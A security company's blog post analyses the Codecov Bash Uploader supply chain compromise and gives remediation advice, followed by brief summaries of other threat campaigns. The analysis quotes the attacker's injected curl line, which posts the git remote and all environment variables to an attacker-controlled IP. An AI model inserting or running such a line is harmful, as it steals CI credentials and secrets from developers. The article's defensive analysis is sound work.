Article
Codecov Bash Uploader Supply Chain Attack
Arete Analysis
Executive Summary
On April 15, Codecov announced a compromise to its Bash Uploader (a software application used in some of its products), whereby a threat actor was able to send sensitive information from the affected environment to a server they controlled. It appears the threat actor had access to the environment from about January 31 to April 1 before Codecov learned of the compromise. Since that time, the company has taken steps to secure and remediate the affected program, begun an investigation to assess the impact, and reported the incident
to law enforcement.
The compromised software allowed the attacker to steal any credentials, authentication tokens, or keys that victims were passing through their continuous integration (CI) environment when the Bash Uploader program was executed. The compromise’s full impact may be seen in the coming months when cybercriminals begin to use stolen credentials to attack and steal sensitive information from affected companies.
Like the SolarWinds incident, which affected about 18,000 customers, including private organizations and the federal government, this compromise is one of the latest supply chain attacks. It also resembles a compromise from 2020 when hackers breached Git analytics provider Waydev to steal its customers’ GitHub and GitLab OAuth tokens to access their internal networks and steal sensitive information.
Codecov has about 29,000 clients, including companies like Atlassian, Procter & Gamble, GoDaddy, the Washington Post, Royal Bank of Canada, Tile, Dollar Shave Club, Mozilla, Webflow, Palo Alto Networks, and IBM.
Overview
The threat actor leveraged an error in Codecov’s Docker image creation process to steal the credential required to modify the Bash Uploader program.
Since the end of January, the threat actor made periodic, unauthorized alterations to the Bash Uploader program, which enabled them to steal and send information stored in the users’ CI environments to a third-party server they controlled.
Apparently, the threat actor added the following code to the program:
curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)”
http://ATTACKER_IP/upload/v2 || true
where ATTACKER_IP = 104.248.94[.]23¹
Because the compromised Codecov Bash Uploader program is embedded in other products, it is believed that many of the company’s customers are likely affected. Some affected products include:
Codecov-actions uploader for GitHub
Codecov CircleCI Orb
Codecov Bitrise Step
According to the company, the compromised Bash Uploader script software could potentially affect:
Any credentials, tokens, or keys that Codecov’s customers were passing through their CI
runner that would be accessible when the Bash Uploader program was executed.Any services, datastores, and application code that could be accessed with these credentials,
tokens, or keys.The git remote information (URL of the origin repository) of repositories using the Bash
Uploaders to upload coverage to Codecov in CI.
It appears a customer discovered the software compromise when they noticed the program hash (a software digital fingerprint to confirm the program integrity) did not match that of the software version.
Risk Mitigation
Codecov customers who used any of the affected tools are advised to change any credentials they sent to Codecov’s platforms during the affected period. Codecov strongly recommends that affected users immediately re-roll all their credentials, tokens, or keys located in the environment variables in their CI processes that used one of Codecov’s Bash Uploaders.
The company says that clients can determine the keys and tokens they used in the CI environment by running the env command in their CI pipeline and, if anything returned from that command is considered private or sensitive, it strongly recommends invalidating the credential and generating a new one. Additionally, Codecov recommends clients audit the use of those tokens in their networks.
The company said it emailed affected users on April 15 using their email addresses on file from GitHub GitLab Bitbucket, and users will see a notification banner after they log into Codecov.
Additionally, customers using a local version of the affected program should check if the attacker’s code is present. If it is, they should replace the program from https://codecov.io/bash.
As a lesson learned, clients should compare the digital fingerprint hash value of the software against the hash value of the downloaded software.
Please find more information in the Codecov advisory: https://about.codecov.io/security-update/
¹ Popular Codecov code coverage tool hacked to steal dev credentials (bleepingcomputer.com)
Back to Blog Posts
Article
Arete's 2026 Q1 Crimeware Report
Harness Arete’s unique data and expertise on extortion and ransomware to inform your response to the evolving threat landscape.
Article
CMS Vulnerability Leads to ClickFix Campaign
Threat actors compromised at least 700 education and technology websites in a recent ClickFix campaign by exploiting a critical SQL injection flaw (CVE-2026-26980) in the Ghost content management system (CMS). Adversaries combined the vulnerability with the ClickFix social engineering tactic to steal admin keys and inject a malicious JavaScript that delivers a fake Cloudflare or CAPTCHA verification pop-up, tricking victims into copying and pasting a malicious command into their systems.
What’s Notable and Unique
Rather than targeting the end user first, this campaign is unique in its initial exploitation of the system, followed by social engineering attempts. This hybrid attack style is likely being leveraged to bypass traditional defenses.
This recent campaign also highlights how trusted web properties can be weaponized at scale and coupled with unpatched CMS vulnerabilities. Rather than using the CMS compromise to perpetrate a single attack, threat actors turned it into a supply-chain attack that ultimately affected over 700 trusted websites.
Analyst Comments
As network defenders and their tools enhance threat detection capabilities, adversaries increasingly seek methods to bypass these defenses. By combining vulnerability exploitation, social engineering techniques, and staging for ancillary attacks, this campaign successfully bypassed traditional defenses and inflicted significant impact. Defending against hybrid cyberattacks requires comprehensive security controls beyond simply patching vulnerabilities. Organizations should focus on limiting movement within the environment, detecting abuse of trusted applications, and preventing end-user manipulation.
Sources
700+ education and tech websites hijacked in huge ClickFix malware campaign
Under the engineering hood: Why Malwarebytes chose WordPress as its CMS
Think before you Click(Fix): Analyzing the ClickFix social engineering technique
Ghost CMS Vulnerability Exploited to Infect 700 Sites With ClickFix Malware
Article
Threat Actors Leverage Fake JPEG Files for Initial Access
In a recent campaign, researchers observed threat actors using fake JPEG image files as a delivery mechanism to initiate the deployment of additional malicious components. The false JPEG files are typically distributed via phishing emails or other social engineering-based lures, and are actually PowerShell-based malware that deploys a trojanized version of ConnectWise ScreenConnect to establish and maintain persistence in the compromised environment.
What’s Notable and Unique
This campaign leverages JPEG images as the initial lure, where the images are not merely decoys but part of the infection workflow. Victims are typically led to download or open an image that triggers hidden execution logic or redirects them to a payload-delivery sequence that initiates later stages of the intrusion chain.
The attack chain is designed to blend into legitimate environments, making detection more difficult. Execution typically relies on scripted or native Windows components, often including PowerShell or other living-off-the-land binaries, enabling fileless or near-fileless execution and reducing forensic artifacts on disk.
The multistage design ensures that the initial JPEG does not directly contain the full payload but instead triggers retrieval or decryption steps that progressively assemble the final malicious components in memory.
Analyst Comments
This campaign illustrates how threat actors continue to blur the line between legitimate file handling and malicious execution chains, indicating potential overlap with remote management or administrative tooling. The use of JPEG-based staging combined with script-based execution reflects a broader evolution toward a stealth-first intrusion design, in which file formats serve as triggers rather than payload containers.
Sources
OPERATION SILENTCANVAS : JPEG BASED MULTISTAGE POWERSHELL INTRUSION
Podcast
Cyber Risk and Insurance for Law Firms
In this episode of Bytes of Insight, host Vinny Sakore is joined by Laura Zaroski, Managing Director of the Law Firms Group at Gallagher, as they discuss the evolution of cyber risk for law firms. Tune in for firsthand insights on how to select the right cyber policy, the incident response process, and the nuances of ransom payments and sensitive data.